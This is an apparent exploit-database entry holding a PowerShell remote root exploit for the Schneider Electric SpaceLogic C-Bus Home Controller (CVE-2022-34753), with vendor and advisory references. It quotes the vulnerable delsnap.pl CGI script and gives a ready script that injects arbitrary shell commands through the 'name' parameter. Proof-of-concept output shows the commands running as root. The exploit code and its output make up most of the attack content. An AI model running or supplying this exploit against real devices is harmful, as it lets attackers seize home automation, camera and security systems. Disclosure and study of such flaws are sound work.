1
+ # Exploit Title: Schneider Electric SpaceLogic C-Bus Home Controller (5200WHC2) - Remote Code Execution
2
+ # Exploit Author: LiquidWorm
3
+
4
+ <# SpaceLogic.ps1
5
+
6
+ Schneider Electric SpaceLogic C-Bus Home Controller (5200WHC2) Remote Root Exploit
7
+
8
+
9
+ Vendor: Schneider Electric SE
10
+ Product web page: https://www.se.com
11
+ https://www.se.com/ww/en/product/5200WHC2/home-controller-spacelogic-cbus-cbus-ip-free-standing-24v-dc/
12
+ https://www.se.com/ww/en/product-range/2216-spacelogic-cbus-home-automation-system/?parent-subcategory-id=88010&filter=business-5-residential-and-small-business#software-and-firmware
13
+ Affected version: SpaceLogic C-Bus Home Controller (5200WHC2)
14
+ formerly known as C-Bus Wiser Home Controller MK2
15
+ V1.31.460 and prior
16
+ Firmware: 604
17
+
18
+ Summary: SpaceLogic C-Bus Home Automation System
19
+ Lighting control and automation solutions for
20
+ buildings of the future, part of SpaceLogic.
21
+ SpaceLogic C-Bus is a powerful, fully integrated
22
+ system that can control and automate lighting
23
+ and many other electrical systems and products.
24
+ The SpaceLogic C-Bus system is robust, flexible,
25
+ scalable and has proven solutions for buildings
26
+ of the future. Implemented for commercial and
27
+ residential buildings automation, it brings
28
+ control, comfort, efficiency and ease of use
29
+ to its occupants.
30
+
31
+ Wiser Home Control makes technologies in your
32
+ home easy by providing seamless control of music,
33
+ home theatre, lighting, air conditioning, sprinkler
34
+ systems, curtains and shutters, security systems...
35
+ you name it. Usable anytime, anywhere even when
36
+ you are away, via preset shortcuts or direct
37
+ control, in the same look and feel from a wall
38
+ switch, a home computer, or even your smartphone
39
+ or TV - there is no wiser way to enjoy 24/7
40
+ connectivity, comfort and convenience, entertainment
41
+ and peace of mind homewide!
42
+
43
+ The Wiser 2 Home Controller allows you to access
44
+ your C-Bus using a graphical user interface, sometimes
45
+ referred to as the Wiser 2 UI. The Wiser 2 Home
46
+ Controller arrives with a sample project loaded
47
+ and the user interface accessible from your local
48
+ home network. With certain options set, you can
49
+ also access the Wiser 2 UI from anywhere using
50
+ the Internet. Using the Wiser 2 Home Controller
51
+ you can: control equipment such as IP cameras,
52
+ C-Bus devices and non C-Bus wired and wireless
53
+ equipment on the home LAN, schedule events in
54
+ the home, create and store scenes on-board, customise
55
+ a C-Bus system using the on-board Logic Engine,
56
+ monitor the home environment including C-Bus and
57
+ security systems, control ZigBee products such
58
+ as Ulti-ZigBee Dimmer, Relay, Groups and Curtains.
59
+
60
+ Examples of equipment you might access with Wiser
61
+ 2 Home Controller include lighting, HVAC, curtains,
62
+ cameras, sprinkler systems, power monitoring, Ulti-ZigBee,
63
+ multi-room audio and security controls.
64
+
65
+ Desc: The home automation solution suffers from
66
+ an authenticated OS command injection vulnerability.
67
+ This can be exploited to inject and execute arbitrary
68
+ shell commands as the root user via the 'name' GET
69
+ parameter in 'delsnap.pl' Perl/CGI script which is
70
+ used for deleting snapshots taken from the webcam.
71
+
72
+ =========================================================
73
+ /www/delsnap.pl:
74
+ ----------------
75
+
76
+ 01: #!/usr/bin/perl
77
+ 02: use IO::Handle;
78
+ 03:
79
+ 04:
80
+ 05: select(STDERR);
81
+ 06: $| = 1;
82
+ 07: select(STDOUT);
83
+ 08: $| = 1;
84
+ 09:
85
+ 10: #print "\r\n\r\n";
86
+ 11:
87
+ 12: $CGITempFile::TMPDIRECTORY = '/mnt/microsd/clipsal/ugen/imgs/';
88
+ 13: use CGI;
89
+ 14:
90
+ 15: my $PROGNAME = "delsnap.pl";
91
+ 16:
92
+ 17: my $cgi = new CGI();
93
+ 18:
94
+ 19: my $name = $cgi->param('name');
95
+ 20: if ($name eq "list") {
96
+ 21: print "\r\n\r\n";
97
+ 22: print "DATA=";
98
+ 23: print `ls -C1 /mnt/microsd/clipsal/ugen/imgs/`;
99
+ 24: exit(0);
100
+ 25: }
101
+ 26: if ($name eq "deleteall") {
102
+ 27: print "\r\n\r\n";
103
+ 28: print "DELETINGALL=TRUE&";
104
+ 29: print `rm /mnt/microsd/clipsal/ugen/imgs/*`;
105
+ 30: print "COMPLETED=true\n";
106
+ 31: exit(0);
107
+ 32: }
108
+ 33: #print "name $name\n";
109
+ 34: print "\r\n\r\n";
110
+ 35: my $filename = "/mnt/microsd/clipsal/ugen/imgs/$name";
111
+ 36:
112
+ 37: unlink $filename or die "COMPLETED=false\n";
113
+ 38:
114
+ 39: print "COMPLETED=true\n";
115
+
116
+ =========================================================
117
+
118
+ Tested on: Machine: OMAP3 Wiser2 Board
119
+ CPU: ARMv7 revision 2
120
+ GNU/Linux 2.6.37 (armv7l)
121
+ BusyBox v1.22.1
122
+ thttpd/2.25b
123
+ Perl v5.20.0
124
+ Clipsal 81
125
+ Angstrom 2009.X-stable
126
+ PICED 4.14.0.100
127
+ lighttpd/1.7
128
+ GCC 4.4.3
129
+ NodeJS v10.15.3
130
+
131
+
132
+ Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
133
+ @zeroscience
134
+
135
+
136
+ Advisory ID: ZSL-2022-5710
137
+ Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5710.php
138
+
139
+ Vendor advisory: https://download.schneider-electric.com/files?p_enDocType=Security+and+Safety+Notice&p_File_Name=SEVD-2022-193-02_SpaceLogic-C-Bus-Home-Controller-Wiser_MK2_Security_Notification.pdf
140
+
141
+ CVE ID: CVE-2022-34753
142
+ CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-34753
143
+
144
+
145
+ 27.03.2022
146
+
147
+ #>
148
+
149
+
150
+ $host.UI.RawUI.ForegroundColor = " Green"
151
+ if ($ ($args.Count ) -ne 2 ) {
152
+ Write-Host (" `n Usage: .\SpaceLogic.ps1 [IP] [CMD]`n " )
153
+ } else {
154
+ $ip = $args [0 ]
155
+ $cmd = $args [1 ]
156
+ $cmdinj = " /delsnap.pl?name=|$cmd "
157
+ Write-Host (" `n Sending command '$cmd ' to $ip `n " )
158
+ # curl -Headers @{Authorization = "Basic XXXX"} -v $ip$cmdinj
159
+ curl - v $ip$cmdinj
160
+ }
161
+
162
+
163
+ <# PoC
164
+
165
+ PS C:\> .\SpaceLogic.ps1
166
+
167
+ Usage: .\SpaceLogic.ps1 [IP] [CMD]
168
+
169
+
170
+ PS C:\> .\SpaceLogic.ps1 192.168.1.2 "uname -a;id;pwd"
171
+
172
+ Sending command 'uname -a;id;pwd' to 192.168.1.2
173
+
174
+ VERBOSE: GET http://192.168.1.2/delsnap.pl?name=|uname -a;id;pwd with 0-byte payload
175
+ VERBOSE: received 129-byte response of content type text/html; charset=utf-8
176
+
177
+
178
+ StatusCode : 200
179
+ StatusDescription : OK
180
+ Content : Linux localhost 2.6.37-g4be9a2f-dirty #111 Wed May 21 20:39:38 MYT 2014 armv7l GNU/Linux
181
+ uid=0(root) gid=0(root)
182
+ /custom-package
183
+
184
+ RawContent : HTTP/1.1 200 OK
185
+ Access-Control-Allow-Origin: *
186
+ Connection: keep-alive
187
+ Content-Length: 129
188
+ Content-Type: text/html; charset=utf-8
189
+ Date: Thu, 30 Jun 2022 14:48:43 GMT
190
+ ETag: W/"81-LTIWJvYlDBYAlgXEy...
191
+ Forms : {}
192
+ Headers : {[Access-Control-Allow-Origin, *], [Connection, keep-alive], [Content-Length, 129], [Content-Type, text/html;
193
+ charset=utf-8]...}
194
+ Images : {}
195
+ InputFields : {}
196
+ Links : {}
197
+ ParsedHtml : mshtml.HTMLDocumentClass
198
+ RawContentLength : 129
199
+
200
+
201
+
202
+
203
+ PS C:\>
204
+ #>
0 commit comments